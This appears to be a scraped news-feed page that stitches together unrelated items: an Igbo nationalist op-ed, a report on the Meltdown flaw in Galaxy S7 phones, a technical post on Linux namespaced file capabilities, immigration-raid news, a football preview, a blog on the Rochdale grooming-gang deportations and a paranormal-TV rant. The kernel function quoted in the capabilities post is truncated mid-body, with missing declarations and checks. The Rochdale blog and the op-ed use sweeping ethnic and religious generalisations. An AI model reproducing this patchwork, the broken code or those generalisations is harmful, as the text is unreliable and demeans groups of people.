Ndi Igbo should avoid the superiority mentality among themselves. A man from Imo should not see himself as more superior Igbo than another from Anambra and Anambra man should not look down on an Ebonyi or Abia man. It is only an ignorant man that holds strongly to this Nigeria divide and rule mechanism called state creation. Sadly many don't know the history of state creation. Gowon balkanized the regions into 12 states as to sow seeds of discord, to make sure Biafrans of 1966 lose their unity. All Ndi Igbo before ever the states were created were all in the Eastern region. Before the name Abia, Anambra, Ebonyi, Enugu and Imo came into existence we were all Ndi Igbo. That some Ndi Igbo were carved into what is today called South South doesn't make them less an Igbo.

Finally, Ndi Igbo should start thinking of what to do to make Ala Igbo greater. This is the time for the elites, the governors and Ndi Eze to drop their slave mentality and work towards a greater Igbo nation. They should understand that the era of what Abuja want has gone. Ndi Igbo have successfully dethroned the powers of the caliphate and the people have taken over power. Governors should start aligning with their people in sincerity. They should start creating an enabling environment for the industrialization of Ala Igbo. They should understand their youths, bond more with them and not sell them out to the caliphate for slaughter like it happened in Onitsha, Nkpor, Aba and Umuahia. They should rather connect Ala Igbo with railways than open her up for cattle colonies.

Start thinking Igbo.

          Microchip Security Flaw inside Samsung Galaxy S7 smartphones      Cache   Translate Page   Web Page Cache   



A security flaw inside a microchip of  the Samsung’s Galaxy S7 smartphones has put millions of devices at risk of being spied by the hackers, say security researchers.

Initially, Samsung phones were thought to be safe from a security vulnerability known as Meltdown, which was found to be present in most of the PCs, smartphones, and other devices. The security team from Austria’s Graz Technical University will present their findings at the Black Hat security conference in Las Vegas on Thursday.

The researchers told Reuters that they have found a way out to exploit the Meltdown vulnerability to attack the so-called immune Galaxy S7 smartphones.

However, Samsung spokesperson released a statement: "Samsung takes security very seriously and our products and services are designed with security as a priority. Since being notified by Google, we've promptly rolled out security updates to address the issues in January 2018 and released software updates including additional patches in May 2018 to further protect devices at the chipset level."

"We recommend that all customers keep their devices updated with the latest software to ensure their device is protected at an optimal level," the statement read.

One of the security researchers, Michael Schwarz believe that there could be many more other devices that are vulnerable to the Meltdown vulnerability.

“There are potentially even more phones affected that we don’t know about yet. There are potentially hundreds of millions of phones out there that are affected by Meltdown and may not be patched because the vendors themselves do not know,” said one of the researchers, Michael Schwarz.

Introduction

File capabilities (fcaps) are capabilities associated with - well - files, usually a binary. They can be used to temporarily elevate privileges for unprivileged users in order to accomplish a privileged task. This allows various tools to drop the dangerous setuid (suid) or setgid (sgid) bits in favor of fcaps.

While fcaps are supported since Linux 2.6.24 they could only be set in the initial user namespace. If they would have been allowed to be set by root in a non-initial user namespace then any unprivileged user on the host would have been able to map their own uid to root in a new user namespace, set fcaps that would grant more privileges to them, and then execute the binary with elevated privileged on the host. This also means that until recently it was not safe to use fcaps in unprivileged containers, i.e. containers using user namespaces. The good news is that starting with Linux kernel version 4.14 it is possible to set fcaps in user namespaces.

Kernel Patchset

The patchset to enable this has been contributed by Serge Hallyn, a co-maintainer and core developer of the LXD and LXC projects:

commit 8db6c34f1dbc8e06aa016a9b829b06902c3e1340
Author: Serge E. Hallyn <serge@hallyn.com>
Date:   Mon May 8 13:11:56 2017 -0500

    Introduce v3 namespaced file capabilities

LXD Now Preserves File Capabilities In User Namespaces

In parallel to the kernel patchset we have now enabled LXD to preserve fcaps in user namespaces. This means if your kernel supports namespaced fcaps LXD will preserve them whenever unprivileged containers are created, or when their idmapping is changed. No matter if you go from privileged to unpriviliged or the other way around. Your filesystem capabilities will be right there with you. In other news, there is now little to no use for the suid and sgid bits even in unprivileged containers.

This is something that the Linux Containers Project has wanted for a long time and we are happy that we are the first runtime to fully support this feature.

If all of the above either makes no sense to you or you’re asking yourself what is so great about this because some distros have been using fcaps for a long time don’t worry we’ll try to shed some light on all of this.

The dark ages: suid and sgid binaries

Not too long ago the suid and sgid bits were the only well-known mechanism to temporarily grant elevated privileges to unprivileged users executing a binary. Once some or all of the following binaries where suid or sgid binaries on most distros:

  • ping
  • newgidmap
  • newuidmap
  • mtr-packet

The binary that most developers will have already used is the ping binary. It’s convenient to just check whether a connection to the internet has been established successfully by pinging a random website. It’s such a common tool that most people don’t even think about it needing any sort of privilege. In fact it does require privileges. ping wants to open sockets of type SOCK_RAW but the kernel prevents unprivileged users from using sockets of type SOCK_RAW because it would allow them to e.g. send ICMP packages directly. But ping seems like a binary that is useful to unprivileged users as well as safe. Short of a better mechanism the most obvious choice is to have it be owned by uid 0 and set the suid bit.

chb@conventiont|~
> perms /bin/ping
-rwsr-xr-x 4755 /bin/ping

You can see the little s in the permissions. This indicates that this version of ping has the suid bit set. Hence, if called it will run as uid 0 independent of the uid of the caller. In short, if my user has uid 1000 and calls the ping binary ping will still run with uid 0.

While the suid mechanism gets the job done it is also wildly inappropriate. ping does need elevated privileges in one specific area. But by setting the suid bit and having ping be owned by uid 0 we’re granting it all kinds of privileges, in fact all privileges. If there ever is a major security sensitive bug in a suid binary it is trivial for anyone to exploit the fact that it runs as uid 0.

Of course, the kernel has all kinds of security mechanisms to deflate the impact of the suid and sgid bits. If you strace an suid binary the suid bit will be stripped, there are complex rules regarding execve()ing a binary that has the suid bit set, and the suid bit is also dropped when the owner of the binary in question changes, i.e. when you call chown() on it. Still these are all migitations for something that is inherently dangerous because it grants too much for too little gain. It’s like someone asking for a little sugar and you handing out the key to your house. To quote Eric:

Frankly being able to raise the priveleges of an existing process is such a dangerous mechanism and so limiting on system design that I wish someone would care, and remove all suid, sgid, and capabilities use from a distro. It is hard to count how many neat new features have been shelved because of the requirement to support suid root executables.

Capabilities and File Capabilities

This is where capabilities come into play 1. Capabilities start from the idea that the root privilege could as well be split into subsets of privileges. Whenever something requests to perform an operation that requires privileges it doesn’t have we can grant it a very specific subset instead of all privileges at once 2. For example, the ping binary would only need the CAP_NET_RAW capability because it is the capability that regulates whether a process can open SOCK_RAW sockets.

Capabilities are associated with processes and files. Granted, Linux capabilities are not the cleanest or easiest concept to grasp. But I’ll try to shed some light. In essence, capabilities can be present in four different types of sets. The kernel performs checks against a process by looking at its effective capability set, i.e. the capabilities the process has at the time of trying to perform the operation. The rest of the capability sets are (glossing over details now for the sake of brevity) basically used for calculating each other including the effective capability set. There are permitted capabilities, i.e. the capabilities a process is allowed to raise in the effective set, inheritable capabilities, i.e. capabilities that should be (but are only under certain restricted conditions) preserved across an execve(), and ambient capabilities that are there to fix the shortcomings of inheritable capabilities, i.e. they are there to allow unprivileged processes to preserve capabilities across an execve() call. 3 Last but not least we have file capabilities, i.e. capabilities that are attached to a file. When such a file is execve()ed the associated fcaps are taken into account when calculating the permissions after the execve().

Extended attributes and File Capabilities

The part most users are confused about is how capabilities get associated with files. This is where extended attributes (xattr) come into play. xattrs are <key>:<value> pairs that can be associated with files. They are stored on-disk as part of the metadata of a file. The <key> of an xattr will always be a string identifying the attribute in question whereas the <value> can be arbitrary data, i.e. it can be another string or binary data. Note that it is not guaranteed nor required by the kernel that a filesystem supports xattrs. While the virtual filesystem (vfs) will handle all core permission checks, i.e. it will verify that the caller is allowed to set the requested xattr but the actual operation of writing out the xattr on disk will be left to the filesystem. Without going into the specifics the callchain currently is:

SYSCALL_DEFINE5(setxattr, const char __user *, pathname,
                const char __user *, name, const void __user *, value,
                size_t, size, int, flags)
|
-> static int path_setxattr(const char __user *pathname,
                            const char __user *name, const void __user *value,
                            size_t size, int flags, unsigned int lookup_flags)
   |
   -> static long setxattr(struct dentry *d, const char __user *name,
                           const void __user *value, size_t size, int flags)
      |
      -> int vfs_setxattr(struct dentry *dentry, const char *name,
                          const void *value, size_t size, int flags)
         |
         -> int __vfs_setxattr_noperm(struct dentry *dentry, const char *name,
                                      const void *value, size_t size, int flags)

and finally __vfs_setxattr_noperm() will call

int __vfs_setxattr(struct dentry *dentry, struct inode *inode, const char *name,
                   const void *value, size_t size, int flags)
{
        const struct xattr_handler *handler;

        handler = xattr_resolve_name(inode, &name);
        if (IS_ERR(handler))
                return PTR_ERR(handler);
        if (!handler->set)
                return -EOPNOTSUPP;
        if (size == 0)
                value = "";  /* empty EA, do not remove */
        return handler->set(handler, dentry, inode, name, value, size, flags);
}

The __vfs_setxattr() function will then call xattr_resolve_name() which will find and return the appropriate handler for the xattr in the list struct xattr_handler of the corresponding filesystem. If the filesystem has a handler for the xattr in question it will return it and the attribute will be set and if not EOPNOTSUPP will be surfaced to the caller.

For this article we will only focus on the permission checks that the vfs performs not on the filesystem specifics. An important thing to note is that different xattrs are subject to different permission checks by the vfs. First, the vfs regulates what types of xattrs are supported in the first place. If you look at the xattr.h header you will find all supported xattr namespaces. An xattr namespace is essentially nothing but a prefix like security.. Let’s look at a few examples from the xattr.h header:

#define XATTR_SECURITY_PREFIX "security."
#define XATTR_SECURITY_PREFIX_LEN (sizeof(XATTR_SECURITY_PREFIX) - 1)

#define XATTR_SYSTEM_PREFIX "system."
#define XATTR_SYSTEM_PREFIX_LEN (sizeof(XATTR_SYSTEM_PREFIX) - 1)

#define XATTR_TRUSTED_PREFIX "trusted."
#define XATTR_TRUSTED_PREFIX_LEN (sizeof(XATTR_TRUSTED_PREFIX) - 1)

#define XATTR_USER_PREFIX "user."
#define XATTR_USER_PREFIX_LEN (sizeof(XATTR_USER_PREFIX) - 1)

Based on the detected prefix the vfs will decide what permission checks to perform. For example, the user. namespace is not subject to very strict permission checks since it exists to allow users to store arbitrary information. However, some xattrs are subject to very strict permission checks since they allow to change privileges. For example, this affects the security. namespace. In fact, the xattr.h header even exposes a specific capability suffix to use with the security. namespace:

#define XATTR_CAPS_SUFFIX "capability"
#define XATTR_NAME_CAPS XATTR_SECURITY_PREFIX XATTR_CAPS_SUFFIX

As you might have figured out file capabilities are associated with the security.capability xattr.

In contrast to other xattrs the value associated with the security.capability xattr key is not a string but binary data. The actual implementation is a C struct that contains bitmasks of capability flags. To actually set file capabilities userspace would usually use the libcap library because the low-level bits of the implementation are not very easy to use. Let’s say a user wanted to associate the CAP_NET_RAW capability with the ping binary on a system that only supports non-namespaced file capabilities. Then this is the minimum that you would need to do in order to set CAP_NET_RAW in the effective and permitted set of the file:

/*
 * Do not simply copy this code. For the sake of brevity I e.g. omitted
 * handling the necessary endianess translation. (Not to speak of the apparent
 * ugliness and missing documentation of my sloppy macros.)
 */

struct vfs_cap_data xattr = {0};

#define raise_cap_permitted(x, cap_data)   cap_data.data[(x)>>5].permitted   |= (1<<((x)&31))
#define raise_cap_inheritable(x, cap_data) cap_data.data[(x)>>5].inheritable |= (1<<((x)&31))

raise_cap_permitted(CAP_NET_RAW, xattr);
xattr.magic_etc = VFS_CAP_REVISION_2 | VFS_CAP_FLAGS_EFFECTIVE;

setxattr("/bin/ping", "security.capability", &xattr, sizeof(xattr), 0);

After having done this we can look at the ping binary and use the getcap binary to check whether we successfully set the CAP_NET_RAW capability on the ping binary. Here’s a little demo:

asciicast

Setting Unprivileged File Capabilities

On kernels that support namespaced file capabilities the straightforward way to set a file capability is to attach to the user namespace in question as root and then simply perform the above operations. The kernel will then transparently handle the translation between a non-namespaced and a namespaced capability by recording the rootid from the kernel’s perspective (the kuid).

However, it is also possible to set file capabilities in lieu of another user namespace. In order to do this the code above needs to be changed slightly:

/* 
 * Do not simply copy this code. For the sake of brevity I e.g. omitted
 * handling the necessary endianess translation. (Not to speak of the apparent
 * ugliness and missing documentation of my sloppy macros.)
 */

struct vfs_ns_cap_data ns_xattr = {0};

#define raise_cap_permitted(x, cap_data)   cap_data.data[(x)>>5].permitted   |= (1<<((x)&31))
#define raise_cap_inheritable(x, cap_data) cap_data.data[(x)>>5].inheritable |= (1<<((x)&31))

raise_cap_permitted(CAP_NET_RAW, ns_xattr);
ns_xattr.magic_etc = VFS_CAP_REVISION_2 | VFS_CAP_FLAGS_EFFECTIVE;
ns_xattr.rootid = 1000000;

setxattr("/bin/ping", "security.capability", &ns_xattr, sizeof(ns_xattr), 0);

As you can see the struct we use has changed. Instead of using struct vfs_cap_data we are now using struct vfs_ns_cap_data which has gained an additional field rootid. In our example we are setting the rootid to 1000000 which in my example is the rootid of uid 0 in the container’s user namespace as seen from the host.

asciicast

As you can see from the asciicast we can’t execute the ping binary as an unprivileged user on the host since the fcaps is namespaced and associated with uid 1000000. But if we copy that binary to a container where this uid is mapped to uid 0 we can now call ping as an unprivileged user.

So let’s look at an actual unprivileged container and let’s set the CAP_NET_RAW capability on the ping binary in there:

asciicast

Some Implementation Details

As you have seen above a new struct vfs_ns_cap_data has been added to the kernel:

/*
 * same as vfs_cap_data but with a rootid at the end
 */
struct vfs_ns_cap_data {
        __le32 magic_etc;
        struct {
                __le32 permitted;    /* Little endian */
                __le32 inheritable;  /* Little endian */
        } data[VFS_CAP_U32];
        __le32 rootid;
};

In the end this struct is what the kernel expects to be passed and which it will use to calculate fcaps. The location of the permitted and inheritable set in struct vfs_ns_cap_data are obvious but the effective set seems to be missing. Whether or not effective caps are set on the file is determined by raising the VFS_CAP_FLAGS_EFFECTIVE bit in the magic_etc mask. The magic_etc member is also used to tell the kernel which fcaps version the vfs is expected to support. The kernel will verify that either XATTR_CAPS_SZ_2 or XATTR_CAPS_SZ_3 are passed as size and are correctly paired with the VFS_CAP_REVISION_2 and VFS_CAP_REVISION_3 flag. If XATTR_CAPS_SZ_2 is set then the kernel will not try to look for a rootid field in the struct it received, i.e. even if you pass a struct vfs_ns_cap_data with a rootid but set XATTR_CAPS_SZ_2 as size parameter and VFS_CAP_REVISION_2 in magic_etc the kernel will be able to ignore the rootid field and instead use the rootid of the current user namespace. This allows the kernel to transparently translate from VFS_CAP_REVISION_2 to VFS_CAP_REVISION_3 fcaps. The main translation mechanism can be found in cap_convert_nscap() and rootid_from_xattr():

/*
* User requested a write of security.capability.  If needed, update the
* xattr to change from v2 to v3, or to fixup the v3 rootid.
*
* If all is ok, we return the new size, on error return < 0.
*/
int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size)
{
        struct vfs_ns_cap_data *nscap;
        uid_t nsrootid;

                return -EINVAL;

        newsize = sizeof(struct vfs_ns_cap_data);
        nscap = kmalloc(newsize, GFP_ATOMIC);
        if (!nscap)
                return -ENOMEM;
        nscap->rootid = cpu_to_le32(nsrootid);
        nsmagic = VFS_CAP_REVISION_3;
        magic = le32_to_cpu(cap->magic_etc);
        if (magic & VFS_CAP_FLAGS_EFFECTIVE)
                nsmagic |= VFS_CAP_FLAGS_EFFECTIVE;
        nscap->magic_etc = cpu_to_le32(nsmagic);
        memcpy(&nscap->data, &cap->data, sizeof(__le32) * 2 * VFS_CAP_U32);

        kvfree(*ivalue);
        *ivalue = nscap;
        return newsize;
}

Conclusion

Having fcaps available in user namespaces just makes the argument to always use unprivileged containers even stronger. The Linux Containers Project is also working on a bunch of other kernel- and userspace features to improve unprivileged containers even more. Stay tuned! :)

  1. While capabilities provide a better mechanism to temporarily and selectively grant privileges to unprivileged processes they are by no means inherently safe. Setting fcaps should still be done rarely. If privilege escalation happens via suid or sgid bits or fcaps doesn’t matter in the end: it’s still a privilege escalation. 

  2. Exactly how to split up the root privilege and how exactly privileges should be implemented (e.g. should they be attached to file descriptors, should they be attached to inodes, etc.) is a good argument to have. For the sake of this article we will skip this discussion and assume the Linux implementation of POSIX capabilities. 

  3. If people are super keen and request this I can make a longer post how exactly they all relate to each other and possibly look at some of the implementation details too.

          Immigration raids in Nebraska, Minnesota target businesses      Cache   Translate Page   Web Page Cache   

OMAHA, Neb. (AP) — A large federal law enforcement operation conducted Wednesday targeted businesses in Nebraska and Minnesota that officials say knowingly hired — and mistreated — immigrants who are in the U.S. illegally.

The investigative arm of U.S. Immigrations and Customs Enforcement — Homeland Security Investigations — led the operation that saw about a dozen businesses and plants raided and the arrests of 14 business owners and managers and more than 130 workers. Most of the arrests occurred in northern Nebraska and southern Minnesota. Several of the businesses were in O’Neill, Nebraska, a town of about 3,000 about 160 miles (260 kilometers) northwest of Omaha. Officials said they were still looking to take three owners or managers into custody as part of the operation.

Special agent in charge Tracy Cormier described the operation as one of the largest in Homeland Security Investigations’ 15-year history.

“I would say the amount of criminal warrants that are being executed will be one of the largest for HSI,” she said. “I’m not aware of a bigger one.”

Between 350 and 400 federal, state and local law enforcement officers worked together on the arrests, she said.

The focus of the operation is unusual in that it targeted business operators for arrest. Most immigration raids have targeted workers suspected of being in the country illegally.

“The whole investigation was initiated, basically, because we knew that these businesses were cheating these workers and cheating taxpayers and cheating their competition,” Cormier said.

The businesses engaged in a scheme that used fraudulent names and Social Security numbers to employ people in the country illegally, she said. The businesses used “force, fraud, coercion, threat of arrest and/or deportation” to exploit the workers, Cormier said. The business that hired out the immigrants also forced the workers to cash their paychecks with that business for an exorbitant fee, officials said, and withheld taxes from workers’ pay without paying those taxes to the government.

“It kind of reminds us of the revival of the old ‘company store’ policy, where it used to keep the coal miners indebted to the company for all kinds of services … like check cashing,” she said.

Dozens of workers suspected of being in the country illegally also were arrested, Cormier said. Some will be issued notices to appear before an immigration judge and released, while those with criminal backgrounds will remain in ICE custody.

The raids come as President Donald Trump’s administration has been carrying out high-profile enforcement actions against employers who hire illegal labor.

Dozens of workers were arrested at a meatpacking plant in rural Tennessee in April, followed by agents rounding up more than 100 employees two months later at an Ohio gardening and landscaping company.

Immigration officials have also beefed up audits of companies to verify their employees are authorized to work in the country. Officials opened 2,282 employer audits in the first seven months of this fiscal year, many after audits at 100 7-Eleven franchises in 17 states in January.

Civil rights organizations in Nebraska were quick to denounce Wednesday’s operation.

“The ACLU condemns this ongoing campaign of misery that targets immigrants, disrupts local businesses and separates families,” Rose Godinez, an attorney with the American Civil Liberties Union of Nebraska, said in a written released Wednesday morning after news reports of a raid at O’Neill Ventures, which grows tomatoes in huge greenhouses.

Immigrant advocacy group Nebraska Appleseed released a similar statement saying, “Senseless raids like these today leave long-lasting damage across entire communities.”

Whether the operation targeted U.S. businesses hiring immigrants illegally in the country or the immigrants themselves, the effect is still the same, Nebraska Appleseed communications director Jeff Sheldon said.

“This is going to leave widespread fear and damage in the community,” he said. “You got businesses that are directly affected. You’ve got neighborhoods that are directly affected. You’ll have kids tonight coming home to a house where one or more of their parents are gone. This is pain that can last for generations.”

The Driver and The Mechanic are two car freaks driving a 1955 Chevy throughout the southwestern U.S. looking for other cars to race. They are totally dedicated to The Car and converse with each other only when necessary. At a gas station, The Driver and The Mechanic, along with a girl who has ingratiated herself into their world, meet G.T.O., a middle-aged man who fabricates stories about his exploits. It is decided to have a race to Washington, D.C., where the winner will get the loser's car. Along the way, the race and the highway metaphorically depict the lives of these contestants as they struggle to their destination.

          Arkansas Razorbacks 2018 football preview, part 2      Cache   Translate Page   Web Page Cache   
When we last left our beloved Razorbacks of 2018, they had meandered through a slightly atypical nonconference slate of three games unscathed, per Pearls' annual prediction.

See part one here.

When we last left our beloved Razorbacks of 2018, they had meandered through a slightly atypical nonconference slate of three games unscathed, per Pearls' annual prediction. With anticipated victories over largely unfamiliar foes (Eastern Illinois, Colorado State and North Texas) in the rear view, the Hogs end the season's opening month and start October with a much more challenging barrage of foes, bookended by the two powers from the Yellowhammer State.

One thing that bodes well for the Hogs as they enter conference play in 2018 is the fact that, historically, lowered expectations lead to decent results. Arkansas wasn't supposed to be a contender when Houston Nutt took the helm in 1998 but Morris clearly will borrow from that team's example 20 years after it went 9-3 and pushed eventual national champ Tennessee to the brink in Knoxville. Bobby Petrino's first team was woefully short on experience and depth, but managed to win five games despite numerous early season blowouts, and came up just shy of bowl eligibility thanks to three narrow losses in SEC play.

At Auburn, Sept. 22: The Tigers are a chic pick this year to upset Alabama's proverbial apple cart, and with fairly good reason, as quarterback Jarrett Stidham returns after settling into a groove as the field general last fall. Auburn is going to be a slightly unknown commodity on the defensive side, and that's something that Hog offensive coordinator Joe Craddock can exploit. This could end up being a shootout but ultimately the Tigers hang a loss on the Hogs with a big final quarter, though the outcome is somewhat encouraging to Razorback fans who have watched the Tigers steamroll the Hogs by a combined 108-23 margin the past two seasons. Stidham's second-half accuracy and a couple of ill-timed Razorback turnovers fell the visitors, but it's a loss that pays immediate dividends the following week, too. Auburn 44, Arkansas 31.

Texas A&M, Sept. 29: Feeling a bit of swagger after showing some fight against a consensus Top 10 Auburn team, the Hogs are primed to put an end to six seasons of agony against the Aggies, the last four of which have featured three bitter overtime losses in Arlington. The Hogs embrace the opportunity from the outset with a 21-0 first-quarter blitz anchored by a long scoring run from Devwah Whaley and a De'Vion Warren end-around. Knowing that Alabama looms the following week and that an 0-3 start in the SEC would be damaging, Chad Morris doesn't let up even as the Aggies try to nudge their way back into the game in the third quarter. The first clash between Morris and A&M's overpaid Tallahassee refugee Jimbo Fisher goes decisively, and perhaps surprisingly, for the former. Cole Kelley plays an efficient game at quarterback and gets 100-yard rushing efforts from both Whaley and Chase Hayden in a long-awaited victory in Jerry Jones' self-aggrandizing temple. Arkansas 38, Texas A&M 23.

Alabama, Oct. 6: Alabama's secondary is being retooled this fall, which means that somehow three of these unknown, untested defensive backs will end up being by-God All-Americans by the time it's all said and done for 2018. With that said, the Hogs unleash an early attack on the back end of the Tide's vaunted defense, and Kelley, given nice protection from the Tide's almost relentless rush, throws two pretty first-half touchdown passes, one each to Jared Cornelius and Jonathan Nance. Arkansas has had a couple of near-misses against the Tide in Fayetteville (2010, 2014) and this one will, unfortunately, go down as another one as the power running of Damien Harris after halftime is simply too much for a worn-down Arkansas defense to resist. As with the Auburn game, Arkansas plays with guts and composure despite being outmanned, but the talent disparity wins out in the end and the Hogs drop to 4-2, 1-2 after the first half of the schedule is behind them. Alabama 31, Arkansas 20.

Next week's Pearls will dig into the third quarter of the Razorback schedule, and it's a segment of the campaign that seems to offer a chance to really fight back after having this tough second stretch behind the team. We're projecting a quality first year for Morris and the overhauled Razorback defense, so stay tuned and, even if it counters all possible logic, maintain hope.

          Rochdale grooming gang members face possible deportation after losing appeal      Cache   Translate Page   Web Page Cache   
Court of Appeal judges upheld a decision to strip three men of their British citizenship, following their convictions for child sexual exploitation.
          UK: 3 Pakistani Pedophiles to be stripped of British citizenship      Cache   Translate Page   Web Page Cache   
(London)  After the Times revealed the extent of Pakistani rape gangs operating with impunity across the UK in 2011, the powers that be, which had previously turned a blind eye to the peccadilloes of these gangs were forced to act due to public revulsion and pressure and since 2011, out of the 264 males jailed for sexual exploitation of young children, 222 have been South Asian and predominantly Pakistani.

One such case in Rochdale in 2012  (Not to be confused with the initial case regards Rotherham)  saw 9 men jailed for the abuse on 47 young girls. All the abusers bar one were British/Pakistani and the one who wasn't was an Afghan asylum seeker. 

Well as 4 of these paedophile rapists held duel British and Pakistani citizenship, the Government moved to strip them of their British passports and deport them back to the land of their birth. Well that didn't go down with the four of them and they took the Government to court and in 2016, they lost, so they appealed on the grounds of their human rights and they lost again, so they appealed again and yesterday they lost yet again with 3 of them who have since been released from prison, told that they will be stripped of their British citizenships and deported.

Abdul Aziz, Adil Khan and Qari Abdul Rauf 
However that said  the senior judge Lord Justice Sales stated that, if deportation orders are signed against them, they will have the right to appeal on human rights grounds and that process is likely to take ‘many months’. You couldn't make it up if you tried. The remaining Pakistani paedophile 64 year old ringleader Shabir Ahmed, was jailed for 22 years (with another year added for assault) and despite him screaming in court (which saw him thrown into jail for the rest of the court case) that this was a white conspiracy out to attack Muslims, he too is going to find out the hard way how to get by as a 80 year old nonce living in the motherland.

          TV and the Paranormal      Cache   Translate Page   Web Page Cache   

Like many of those interested in the paranormal I watch all the paranormal based TV shows that seem limitless. I do have a few that I find worth watching where well investigated ideas, information and evidence are presented with intelligent conversation providing the viewing public with worthwhile material. I have gained insight and have been able to educate myself on many topics I did not understand or had little or no knowledge about by way of a few well done shows. I enjoy and look forward to my small list of shows that fall in to that category. 

My problem is all the other shows that pollute and by way of their ridiculous presentations of fake events and investigations leave the public unable to detect what is real information and what is a pile of malarkey!

At this point I have to ask myself if this saturation of insulting garbage is being tossed at us for the pure purpose of making money by the developers of the shows or if it is something more?  It has gotten to the point one has got to ask if there is a bigger purpose to the huge amount of disinformation being forced on the public. Could presenting ridiculous situations handled by bumbling fools ending with useless exploits be a way to drive us away from being concerned, rationally interested and wanting answers about some very curious and potentially dangerous topics?

The straw that broke this camel’s back came while watching a few episodes of a popular ghost hunting show. The show should be banned as the methods the young men use in their adventures are is his dangerous and foolish. The fact this tattooed often shirtless host often risks his life is one thing. My fear is that   young impressionable people may copy his antics and that could prove fatal for some teen that may idolize this foolish host of this ghost hunting show. He never seems to obtain any proof, or evidence that is substantial or useful.  His show continues without restrictions or seemingly without concern about the harm his methods may do to an innocent naive audience.  It was during an episode of this show where the host laid down under a large sharp ax hanging over a doorway and dared an angry ghost to drop the ax over his out stretched neck while he laid on the floor with his neck out stretched daring the ghost to behead him. I wonder how the show would have explained it if in fact the angry ghost had quickly and swiftly dropped that sharp ax across this ridiculous young mans out stretched neck detaching his head from his fool hearted shoulders?

Of course the show made sure (hopefully) that this would not occur. What they did not think about is the large number of silly non thinking young people who faithfully watch this show trying to duplicate the same antics in a location they may think is haunted or paranormal in nature. What if after seeing this host endanger himself over and over they follow the same route without the backdrop of a  staff of people co coordinating and choreographing the events on the show and wander off to find a real ax that could fall dead in to the top of their head.  Do the people writing and designing these awful segments ever consider the consequences of the garbage they are presenting to their viewing public?

Shows like that one really annoy me but the real camel back breaker came for me with the Mountain Monsters show now airing. For years real researchers have been spending endless hours and money investigating the reports of all the topics we consider unknown. Many trained hunters and researchers have spent years in pursuit of the truth concerning the world wide sightings of the Bigfoot creatures, strange unknown animals as well as moth man sightings among many other topics. There are organizations that have spent years trying to find real hard evidence concerning these anomalies that deserve our credit and interest. I can only wonder what these good hard working people think when they see episodes like the one I recently watched where a group of broken down mountain hillbilly men go out on a one day trip to hunt out a big foot which they rename the grass man.

They claim this creature is 9 feet tall nearly 1000 pounds living in a wooded area they intend to search. Not only do they   find this grass man on their one day hunt but are handed an excellent video provided by a local of this beast. They quickly build a trap to catch this grass man creature in which they claim the beast watches the one man they send out alone to build the trap. One has to wonder why they would allow one man alone out in the grass man creature’s territory to build a trap that the creature watches him build but that seems to go by without thought in this ridiculous show. Of course the group of men immediately find a Bigfoot house that contains a Bigfoot nest. Of course they get attacked by the big foot and run about yelling and screaming as the supposed beast attacks the house they are searching. A lot of running around the empty house takes place before they decide the beast simply decided to run away. They return to see if the grass man who watched them build the trap – ran to it and jumped into it which was truly laughable and of course no creature was found. 

Amazingly perfect large animal tracks were found in abundance all over the place. According to the show the Bigfoot just misses the trap but they do get an excellent photo of the animal.  Let me sum this up. In one quick trip this group of non-professional men managed to obtain a great video of this grass man creature, find his home, find a nest he built, have a fight with him and obtain a clear photo of him.  They then decide to pack up and waddle back to their pickup trucks and leave. Am I crazy or is this to the point of extreme insult to all our intelligences? 

If any of these events took place I think the first thing you or I would do is call the local authorities. I would think they would want to see the house and nest this creature lives in along with the video, photo and abundant foot tracks of this attacking creature.  I also would think they would want to show where they had heavy rocks thrown at them and where the fresh footprints could be found before they disappeared. The encounter as they tell it was clearly a danger to the community in which it took place. 

Next would it not be their place to call a professional well known organization that has been hunting these creatures for years to have them come in to investigate the house, nest, and area where this creature had been living?  I am sure many universities and researchers of all types would have wanted to have a go at this but instead they piled into their trucks and drove away! I would think if the events shown on this show actually took place it would have been a find of all time. Obviously they are funning us which is entertaining but without question the type of garbage that keeps us in the dark ages concerning all of these topics.

This show had a similar ridiculous hunt for a Mothman creature which was completely the dumbest thing I have seen in a long time. They built a huge bug zapper that they set up. The antics on this episode was childlike and over the top silly. Oh and yes they forgot to set up a camera to take a photo of the Mothman knocking down the trap and getting away. How odd, must have had a shortage of CGI funds that week so setting up a camera for the biggest event of all time was- simply forgotten!
 

I know this is just fun and games and realize the public does not take this TV seriously however  I must stick up for all the hard working dedicated people who do go out for weeks at a time with their own funds to truly try to find answers to all of these mysteries and unknowns. I can only imagine how insulted and deflated seeing shows like this flourish must be for them and hope in some small way I can make some of you understand that tuning on terrible shows like this one is not only taking backward steps in finding the truth. It also is an insult to all those who have spent years devoting real research and investigating in a professional manner concerning all these topics we really need to understand. 

Can you imagine how far we would be with understanding the subjects that we consider paranormal if those who really want to know the truth and work in a systematic scientific and professional manner were given the money and time from TV land to really do the work? We would know what the hell is crawling around our woods, living along with us in our dimension and visiting us from places far beyond our understanding. I also know you cannot find answers in 30 or 60 minute sitcom setups. You can however make a fast buck playing upon our ignorance which is exactly what they are doing. I guess it is up to us to tune out shows that insult us in order for a difference to happen. Until then I suppose  we will be stuck with being shown this garbage.

Copyright 2018 NPR. To see more, visit ARI SHAPIRO, HOST: Pope Francis leaves Sunday for a weeklong trip to Myanmar and Bangladesh. Bangladesh is mostly Muslim, Myanmar predominantly Buddhist, and its military's brutal attacks on a Muslim minority called the Rohingya have led to accusations of ethnic cleansing. As NPR's Sylvia Poggioli reports, the pope will face a difficult balancing act in both places. SYLVIA POGGIOLI, BYLINE: Pope Francis often speaks forcefully on behalf of migrants across the world who are exploited or expelled. In February, he singled out those being driven from Myanmar. (SOUNDBITE OF ARCHIVED RECORDING) POPE POPE FRANCIS: (Through interpreter) Our Rohingya brothers and sisters wander from one place to another because they are not wanted. They are good, peaceful. They are not Christians. They are suffering for years, tortured and killed simply for their Muslim faith. POGGIOLI: Since August, an estimated 600,000 Rohingya had fled Myanmar military attacks into

          Preventing Depression and Abuse Among Your Elderly Loved Ones      Cache   Translate Page   Web Page Cache   
